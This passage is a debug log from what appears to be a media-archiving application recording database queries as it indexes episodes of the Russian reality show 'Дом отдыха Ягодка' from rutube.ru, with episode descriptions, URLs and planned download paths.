livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [182] 11:13:22.912 [debug] Gracefully stopping file follower 11:13:23.763 [debug] QUERY OK source="media_items" db=1436.9ms idle=4.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Дети помогут своим родителям найти вторую половинку! Взрослые участники отправятся в дом отдыха «Ягодка» в надежде встретить любовь. А их юные помощники будут втайне наблюдать за происходящими событиями. Желающих влюбиться ждёт знакомство, вечер, который поможет узнать друг друга получше, первые свидания и первые разочарования. Чем ещё запомнится участникам эта неделя, покажет программа «Дом отдыха “Ягодка”».", "Дом отдыха \"Ягодка\", 1 сезон, 1 выпуск", "a21640d7-0911-4e79-8aec-b024eb36d824", "71cb3bdae9668260d28931be2e654109", 6728, false, "https://rutube.ru/video/71cb3bdae9668260d28931be2e654109/", 1, "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2023/s2023e103100 - Дом отдыха "Ягодка", 1 сезон, 1 выпуск.mp4", false, false, false, 2, [], 1, ~U[2023-10-31 14:10:04Z], ~U[2025-12-09 08:13:22Z], ~U[2025-12-09 08:13:22Z], "Дети помогут своим родителям найти вторую половинку! Взрослые участники отправятся в дом отдыха «Ягодка» в надежде встретить любовь. А их юные помощники будут втайне наблюдать за происходящими событиями. Желающих влюбиться ждёт знакомство, вечер, который поможет узнать друг друга получше, первые свидания и первые разочарования. Чем ещё запомнится участникам эта неделя, покажет программа «Дом отдыха “Ягодка”».", "Дом отдыха \"Ягодка\", 1 сезон, 1 выпуск", "71cb3bdae9668260d28931be2e654109", 6728, false, "https://rutube.ru/video/71cb3bdae9668260d28931be2e654109/", "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2023/s2023e103100 - Дом отдыха "Ягодка", 1 сезон, 1 выпуск.mp4", false, 2, ~U[2023-10-31 14:10:04Z]] 11:13:23.805 [debug] QUERY OK source="sources" db=41.1ms queue=0.8ms idle=972.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 11:13:23.806 [debug] QUERY OK source="media_items" db=0.2ms idle=982.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-07 14:20:40Z], 2] 11:13:24.501 [debug] QUERY OK source="media_items" db=691.9ms queue=0.1ms idle=898.4ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Дом отдыха \"Ягодка\", 1 сезон, 2 выпуск", "ce14cdb3-2fc5-4722-a7e6-e7133a0ccb3e", "edd0ce01395de7ddce6251fc4901155d", 6033, false, "https://rutube.ru/video/edd0ce01395de7ddce6251fc4901155d/", 2, "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2023/s2023e110700 - Дом отдыха "Ягодка", 1 сезон, 2 выпуск.mp4", false, false, false, 2, [], 1, ~U[2023-11-07 14:20:40Z], ~U[2025-12-09 08:13:23Z], ~U[2025-12-09 08:13:23Z], "", "Дом отдыха \"Ягодка\", 1 сезон, 2 выпуск", "edd0ce01395de7ddce6251fc4901155d", 6033, false, "https://rutube.ru/video/edd0ce01395de7ddce6251fc4901155d/", "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2023/s2023e110700 - Дом отдыха "Ягодка", 1 сезон, 2 выпуск.mp4", false, 2, ~U[2023-11-07 14:20:40Z]] 11:13:24.551 [debug] QUERY OK source="sources" db=48.5ms queue=0.2ms idle=740.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 11:13:24.554 [debug] QUERY OK source="media_items" db=0.9ms queue=0.9ms idle=746.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-14 14:10:26Z], 2] 11:13:25.704 [debug] QUERY OK source="media_items" db=1147.3ms idle=748.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В «Ягодке» состоится неделя моды. Пара, которая не побоится преображения, отправится на свидание в парк аттракционов. Почти всех героев проекта заставит поволноваться новая участница. Вместе с остальными постояльцами дома отдыха она сходит на мастер-класс по латине. А в завершении недели участников ждёт танцевальный вечер. Кто останется без пары, узнаем из программы «Дом отдыха “Ягодка”»!", "Дом отдыха \"Ягодка\", 1 сезон, 3 выпуск", "245ee791-4285-4e2d-9586-c4886b3f8ef3", "25a0d9c5f935ddcac97b2621efd4bfc7", 7010, false, "https://rutube.ru/video/25a0d9c5f935ddcac97b2621efd4bfc7/", 3, "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2023/s2023e111400 - Дом отдыха "Ягодка", 1 сезон, 3 выпуск.mp4", false, false, false, 2, [], 1, ~U[2023-11-14 14:10:26Z], ~U[2025-12-09 08:13:24Z], ~U[2025-12-09 08:13:24Z], "В «Ягодке» состоится неделя моды. Пара, которая не побоится преображения, отправится на свидание в парк аттракционов. Почти всех героев проекта заставит поволноваться новая участница. Вместе с остальными постояльцами дома отдыха она сходит на мастер-класс по латине. А в завершении недели участников ждёт танцевальный вечер. Кто останется без пары, узнаем из программы «Дом отдыха “Ягодка”»!", "Дом отдыха \"Ягодка\", 1 сезон, 3 выпуск", "25a0d9c5f935ddcac97b2621efd4bfc7", 7010, false, "https://rutube.ru/video/25a0d9c5f935ddcac97b2621efd4bfc7/", "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2023/s2023e111400 - Дом отдыха "Ягодка", 1 сезон, 3 выпуск.mp4", false, 2, ~U[2023-11-14 14:10:26Z]] 11:13:25.746 [debug] QUERY OK source="sources" db=41.1ms queue=0.2ms idle=1203.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 11:13:25.749 [debug] QUERY OK source="media_items" db=2.8ms queue=0.1ms idle=1195.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-21 14:10:17Z], 2] 11:13:26.535 [debug] QUERY OK source="media_items" db=782.9ms idle=512.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Дом отдыха «Ягодка» ждут очередные изменения. Сразу несколько пар задумается, стоит ли им продолжать отношения. Приятным сюрпризом для девушек станет появление нового участника. А дети проследят, чтобы их родители не заскучали. Они устроят для участников проверку бытом, организуют кулинарное испытание и пригласят в гости родственников. Какими будут итоги этой недели, покажет программа «Дом отдыха “Ягодка”».", "Дом отдыха \"Ягодка\", 1 сезон, 4 выпуск", "f7bfd91b-7aed-4092-880f-337508fba426", "7af0fc16beba82ad0055180deda975c5", 7246, false, "https://rutube.ru/video/7af0fc16beba82ad0055180deda975c5/", 4, "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2023/s2023e112100 - Дом отдыха "Ягодка", 1 сезон, 4 выпуск.mp4", false, false, false, 2, [], 1, ~U[2023-11-21 14:10:17Z], ~U[2025-12-09 08:13:25Z], ~U[2025-12-09 08:13:25Z], "Дом отдыха «Ягодка» ждут очередные изменения. Сразу несколько пар задумается, стоит ли им продолжать отношения. Приятным сюрпризом для девушек станет появление нового участника. А дети проследят, чтобы их родители не заскучали. Они устроят для участников проверку бытом, организуют кулинарное испытание и пригласят в гости родственников. Какими будут итоги этой недели, покажет программа «Дом отдыха “Ягодка”».", "Дом отдыха \"Ягодка\", 1 сезон, 4 выпуск", "7af0fc16beba82ad0055180deda975c5", 7246, false, "https://rutube.ru/video/7af0fc16beba82ad0055180deda975c5/", "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2023/s2023e112100 - Дом отдыха "Ягодка", 1 сезон, 4 выпуск.mp4", false, 2, ~U[2023-11-21 14:10:17Z]] 11:13:26.591 [debug] QUERY OK source="sources" db=52.5ms queue=0.2ms idle=792.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 11:13:26.595 [debug] QUERY OK source="media_items" db=3.9ms idle=844.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-28 13:40:14Z], 2] 11:13:27.489 [debug] QUERY OK source="media_items" db=889.1ms queue=0.1ms idle=850.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В этом выпуске участники будут вспоминать свои предыдущие отношения. Что они не потерпят в характере и поведении своего возлюбленного человека? Что ожидают от будущих отношений? И пройдут ли герои проекта проверку на доверие и взаимопонимание, покажет «Дом отдыха “Ягодка”».", "Дом отдыха \"Ягодка\", 1 сезон, 5 выпуск", "9a974531-abd0-4c9e-a070-811e5cfa5efd", "9e10311adb98c70e7ecd171af299b81f", 5559, false, "https://rutube.ru/video/9e10311adb98c70e7ecd171af299b81f/", 5, "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2023/s2023e112800 - Дом отдыха "Ягодка", 1 сезон, 5 выпуск.mp4", false, false, false, 2, [], 1, ~U[2023-11-28 13:40:14Z], ~U[2025-12-09 08:13:26Z], ~U[2025-12-09 08:13:26Z], "В этом выпуске участники будут вспоминать свои предыдущие отношения. Что они не потерпят в характере и поведении своего возлюбленного человека? Что ожидают от будущих отношений? И пройдут ли герои проекта проверку на доверие и взаимопонимание, покажет «Дом отдыха “Ягодка”».", "Дом отдыха \"Ягодка\", 1 сезон, 5 выпуск", "9e10311adb98c70e7ecd171af299b81f", 5559, false, "https://rutube.ru/video/9e10311adb98c70e7ecd171af299b81f/", "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2023/s2023e112800 - Дом отдыха "Ягодка", 1 сезон, 5 выпуск.mp4", false, 2, ~U[2023-11-28 13:40:14Z]] 11:13:27.599 [debug] QUERY OK source="sources" db=107.2ms queue=0.1ms idle=958.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 11:13:27.601 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=1007.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-12-05 13:40:14Z], 2] 11:13:31.062 [info] {"source":"oban","duration":2708803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:13:31.922 [debug] QUERY OK source="media_items" db=4320.3ms queue=0.4ms idle=1005.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Кому из постояльцев дома отдыха «Ягодка» удалось влюбиться? Кто из участников готов продолжить свои отношения за пределами проекта? Какие сюрпризы ждут финалистов? И кто победит, узнаем из программы «Дом отдыха “Ягодка”».", "Дом отдыха \"Ягодка\", 1 сезон, 6 выпуск", "136ba195-e26c-4e26-97b7-76d6421a3b91", "5f23a7959f60edec83af6bdde1940616", 5123, false, "https://rutube.ru/video/5f23a7959f60edec83af6bdde1940616/", 6, "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2023/s2023e120500 - Дом отдыха "Ягодка", 1 сезон, 6 выпуск.mp4", false, false, false, 2, [], 1, ~U[2023-12-05 13:40:14Z], ~U[2025-12-09 08:13:27Z], ~U[2025-12-09 08:13:27Z], "Кому из постояльцев дома отдыха «Ягодка» удалось влюбиться? Кто из участников готов продолжить свои отношения за пределами проекта? Какие сюрпризы ждут финалистов? И кто победит, узнаем из программы «Дом отдыха “Ягодка”».", "Дом отдыха \"Ягодка\", 1 сезон, 6 выпуск", "5f23a7959f60edec83af6bdde1940616", 5123, false, "https://rutube.ru/video/5f23a7959f60edec83af6bdde1940616/", "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2023/s2023e120500 - Дом отдыха "Ягодка", 1 сезон, 6 выпуск.mp4", false, 2, ~U[2023-12-05 13:40:14Z]] 11:13:31.959 [debug] QUERY OK source="sources" db=35.3ms queue=0.1ms idle=1176.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 11:13:31.960 [debug] QUERY OK source="media_items" db=0.8ms idle=1211.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-10-15 14:50:14Z], 2] 11:13:32.774 [debug] QUERY OK source="media_items" db=812.7ms idle=898.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Эту неделю постояльцы дома отдыха «Ягодка» начнут с утренней тренировки, а заодно они познакомятся с новой участницей. Также героев ждёт сюрприз от Романа Каграманова и детей – преображение. Новые образы станут символом начала отношений. Удастся ли участникам измениться не только внешне, но и внутренне, отпустив своё прошлое, покажет программа «Дом отдыха “Ягодка”».", "Дом отдыха \"Ягодка\", 2 сезон, 2 выпуск", "29d166fb-16e9-4fb9-834f-f06f3edd757c", "8e047c0a8b43e2115a25c6af47bce334", 7785, false, "https://rutube.ru/video/8e047c0a8b43e2115a25c6af47bce334/", 7, "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2024/s2024e101500 - Дом отдыха "Ягодка", 2 сезон, 2 выпуск.mp4", false, false, false, 2, [], 1, ~U[2024-10-15 14:50:14Z], ~U[2025-12-09 08:13:31Z], ~U[2025-12-09 08:13:31Z], "Эту неделю постояльцы дома отдыха «Ягодка» начнут с утренней тренировки, а заодно они познакомятся с новой участницей. Также героев ждёт сюрприз от Романа Каграманова и детей – преображение. Новые образы станут символом начала отношений. Удастся ли участникам измениться не только внешне, но и внутренне, отпустив своё прошлое, покажет программа «Дом отдыха “Ягодка”».", "Дом отдыха \"Ягодка\", 2 сезон, 2 выпуск", "8e047c0a8b43e2115a25c6af47bce334", 7785, false, "https://rutube.ru/video/8e047c0a8b43e2115a25c6af47bce334/", "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2024/s2024e101500 - Дом отдыха "Ягодка", 2 сезон, 2 выпуск.mp4", false, 2, ~U[2024-10-15 14:50:14Z]] 11:13:33.063 [debug] QUERY OK source="sources" db=285.4ms queue=0.2ms idle=853.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 11:13:33.065 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=1105.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-10-22 17:10:11Z], 2] 11:13:39.561 [debug] QUERY OK source="media_items" db=6492.6ms idle=1106.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Дом отдыха «Ягодка» встретит нового гостя. Он заставит понервничать уже устоявшиеся пары. Помогут участникам разобраться в их чувствах свидания, которые пройдут на яхте и на ранчо. А пока одни будут наслаждаться романтическими встречами, другие потренируются в доверии и напишут стихи. Чем эта неделя удивит участников и ведущего Романа Каграманова, узнаем из программы «Дом отдыха “Ягодка”».", "Дом отдыха \"Ягодка\", 2 сезон, 3 выпуск", "56562e74-75f2-4b80-a515-1b95c9746dfa", "e7ac82708cc22bd068a3bf6a7004d1b1", 5777, false, "https://rutube.ru/video/e7ac82708cc22bd068a3bf6a7004d1b1/", 8, "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2024/s2024e102200 - Дом отдыха "Ягодка", 2 сезон, 3 выпуск.mp4", false, false, false, 2, [], 1, ~U[2024-10-22 17:10:11Z], ~U[2025-12-09 08:13:33Z], ~U[2025-12-09 08:13:33Z], "Дом отдыха «Ягодка» встретит нового гостя. Он заставит понервничать уже устоявшиеся пары. Помогут участникам разобраться в их чувствах свидания, которые пройдут на яхте и на ранчо. А пока одни будут наслаждаться романтическими встречами, другие потренируются в доверии и напишут стихи. Чем эта неделя удивит участников и ведущего Романа Каграманова, узнаем из программы «Дом отдыха “Ягодка”».", "Дом отдыха \"Ягодка\", 2 сезон, 3 выпуск", "e7ac82708cc22bd068a3bf6a7004d1b1", 5777, false, "https://rutube.ru/video/e7ac82708cc22bd068a3bf6a7004d1b1/", "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2024/s2024e102200 - Дом отдыха "Ягодка", 2 сезон, 3 выпуск.mp4", false, 2, ~U[2024-10-22 17:10:11Z]] 11:13:39.651 [debug] QUERY OK source="sources" db=89.5ms queue=0.1ms idle=813.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 11:13:39.656 [debug] QUERY OK source="media_items" db=2.0ms queue=0.1ms idle=904.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-11-02 07:00:11Z], 2] 11:13:41.711 [debug] QUERY OK source="media_items" db=2053.1ms queue=0.3ms idle=909.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Рома Каграманов предложит участникам выполнить несколько заданий, чтобы проверить пары на прочность. Будущие избранники расскажут, какими видят друг друга, и проявят свои кулинарные таланты. А две пары получат возможность побыть наедине. Участники отправятся на фотосессию под водой и свидание на кабриолете. Смотрите программу «Дом отдыха “Ягодка”»!", "Дом отдыха \"Ягодка\", 2 сезон, 4 выпуск", "42f54e50-54a9-460b-984c-e20e22a62560", "4c229882ff2179df0ba602af00249e7a", 7279, false, "https://rutube.ru/video/4c229882ff2179df0ba602af00249e7a/", 9, "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2024/s2024e110200 - Дом отдыха "Ягодка", 2 сезон, 4 выпуск.mp4", false, false, false, 2, [], 1, ~U[2024-11-02 07:00:11Z], ~U[2025-12-09 08:13:39Z], ~U[2025-12-09 08:13:39Z], "Рома Каграманов предложит участникам выполнить несколько заданий, чтобы проверить пары на прочность. Будущие избранники расскажут, какими видят друг друга, и проявят свои кулинарные таланты. А две пары получат возможность побыть наедине. Участники отправятся на фотосессию под водой и свидание на кабриолете. Смотрите программу «Дом отдыха “Ягодка”»!", "Дом отдыха \"Ягодка\", 2 сезон, 4 выпуск", "4c229882ff2179df0ba602af00249e7a", 7279, false, "https://rutube.ru/video/4c229882ff2179df0ba602af00249e7a/", "/downloads/rutubeShows/Дом отдыха Ягодка/Season 2024/s2024e110200 - Дом отдыха "Ягодка", 2 сезон, 4 выпуск.mp4", false, 2, ~U[2024-11-02 07:00:11Z]] 11:13:41.776 [debug] QUERY OK source="sources" db=62.3ms queue=0.2ms idle=966.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 11:13:41.779 [debug] QUERY OK source="media_items" db=0.9ms queue=0.2ms idle=1030.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-11-16 05:10:13Z], 2] 11:13:42.402 [debug] QUERY OK source="media_items" db=620.9ms queue=0.1ms idle=1032.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Роман Каграманов перенесёт участников во времена их юности. А для сложившихся пар ведущий вместе с детьми подготовит очередную проверку, чтобы понять их истинные чувства и намерения. Изменят ли свидания этой недели ход событий? И как герои отреагируют на появление нового участника, узнаем из программы «Дом отдыха “Ягодка”».", "Дом отдыха \"Ягодка\", 2 сезон, 5 выпуск", "51a3f8ff-53ec-404d-9d4d-93c3e8207398", 